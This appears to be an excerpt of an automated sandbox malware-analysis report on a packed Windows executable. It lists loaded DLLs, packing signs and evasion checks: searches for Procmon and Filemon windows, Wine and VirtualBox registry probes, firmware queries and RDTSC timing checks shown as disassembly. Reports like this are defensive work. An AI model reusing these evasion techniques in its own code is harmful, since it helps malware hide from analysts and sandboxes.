Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: RZnZbS97dD.exe

Static file information: File size 2973696 > 1048576

Source: RZnZbS97dD.exe

Static PE information: Raw size of oednloxr is bigger than: 0x100000 < 0x2ae000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: RZnZbS97dD.exe, 00000004.00000002.1723060867.00000000059F2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Unpacked PE file: 4.2.RZnZbS97dD.exe.50000.0.unpack :EW;.rsrc :W;.idata :W;oednloxr:EW;dwiucgls:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;oednloxr:EW;dwiucgls:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: RZnZbS97dD.exe

Static PE information: real checksum: 0x2dfceb should be: 0x2e4cd0

Source: RZnZbS97dD.exe	Static PE information: section name:
Source: RZnZbS97dD.exe	Static PE information: section name: .rsrc
Source: RZnZbS97dD.exe	Static PE information: section name: .idata
Source: RZnZbS97dD.exe	Static PE information: section name: oednloxr
Source: RZnZbS97dD.exe	Static PE information: section name: dwiucgls
Source: RZnZbS97dD.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_00A679A9 push ds; iretd	4_3_00A67A5C
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_00A6CB94 push 3000A829h; retf	4_3_00A6CB99
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A9A3D push ebp; retf	4_3_051A9A3E
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A9268 push edi; retf	4_3_051A9269
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A8C9C push edi; iretd	4_3_051A8CA8
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A728E push ebx; iretd	4_3_051A728F
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A878E push ebp; ret	4_3_051A878F
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A9BB2 push ss; retf	4_3_051A9BBA
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A81B5 push ds; retf	4_3_051A81B6
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A85DF push ebp; iretd	4_3_051A85E1
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Code function: 4_3_051A9EF7 push eax; iretd	4_3_051A9EFA

Source: RZnZbS97dD.exe

Static PE information: section name: entropy: 7.980592201387599

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 233FED second address: 233FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 233FF1 second address: 234081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 22F5D0A2h 0x0000000d mov ecx, 3280DA0Eh 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FC6DD08F798h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e adc di, E83Fh 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 mov ecx, dword ptr [ebp+122D2DCBh] 0x0000003c pop edx 0x0000003d push 00000003h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007FC6DD08F798h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 clc 0x0000005a call 00007FC6DD08F799h 0x0000005f jc 00007FC6DD08F7A7h 0x00000065 jmp 00007FC6DD08F7A1h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push esi 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234081 second address: 234086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234086 second address: 23408C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 23408C second address: 2340D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FC6DD698E5Bh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push ecx 0x00000017 jmp 00007FC6DD698E68h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2340D7 second address: 2340DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2340DE second address: 2340E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2340E8 second address: 23413C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 sub edx, dword ptr [ebp+122D1E33h] 0x0000000f lea ebx, dword ptr [ebp+1245FE98h] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FC6DD08F798h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f je 00007FC6DD08F7A0h 0x00000035 pushad 0x00000036 mov si, cx 0x00000039 sbb si, 273Dh 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D26FEh], esi 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 jnc 00007FC6DD08F796h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 23413C second address: 23414A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 23414A second address: 23414E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 23414E second address: 234152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234194 second address: 2341E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FC6DD08F798h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov edi, 2BE0F270h 0x0000002b call 00007FC6DD08F799h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FC6DD08F7A5h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2341E5 second address: 2341EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2341EB second address: 234212 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC6DD08F798h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6DD08F7A8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234212 second address: 234218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234218 second address: 23421C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 23421C second address: 234232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FC6DD698E58h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 23434D second address: 234353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234353 second address: 234358 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 234358 second address: 23437B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC6DD08F7A9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2344BB second address: 2344BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2344BF second address: 2344C9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2344C9 second address: 2344F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jbe 00007FC6DD698E5Ch 0x00000012 ja 00007FC6DD698E56h 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 224DD8 second address: 224DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252776 second address: 252784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252784 second address: 252788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252788 second address: 252790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252790 second address: 2527B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6DD08F7A7h 0x00000008 jng 00007FC6DD08F796h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252A51 second address: 252A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252A55 second address: 252A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007FC6DD08F7A5h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252DC2 second address: 252DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252DC6 second address: 252DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252DCA second address: 252DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252DD0 second address: 252DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252F48 second address: 252F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 252F4C second address: 252F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2530E3 second address: 253118 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FC6DD698E68h 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6DD698E63h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 253118 second address: 25311C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2533FC second address: 253400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2471D1 second address: 2471D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2471D5 second address: 2471DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 229C41 second address: 229C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F79Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 254524 second address: 254535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 254535 second address: 25453B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2547D9 second address: 2547DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2547DF second address: 2547F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2547F0 second address: 2547F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2547F5 second address: 2547FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 256BFA second address: 256C0F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC6DD698E5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 256C0F second address: 256C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F7A2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 25A67A second address: 25A6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FC6DD698E60h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FC6DD698E66h 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007FC6DD698E61h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 262D03 second address: 262D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC6DD08F79Eh 0x0000000d jmp 00007FC6DD08F7A3h 0x00000012 rdtsc
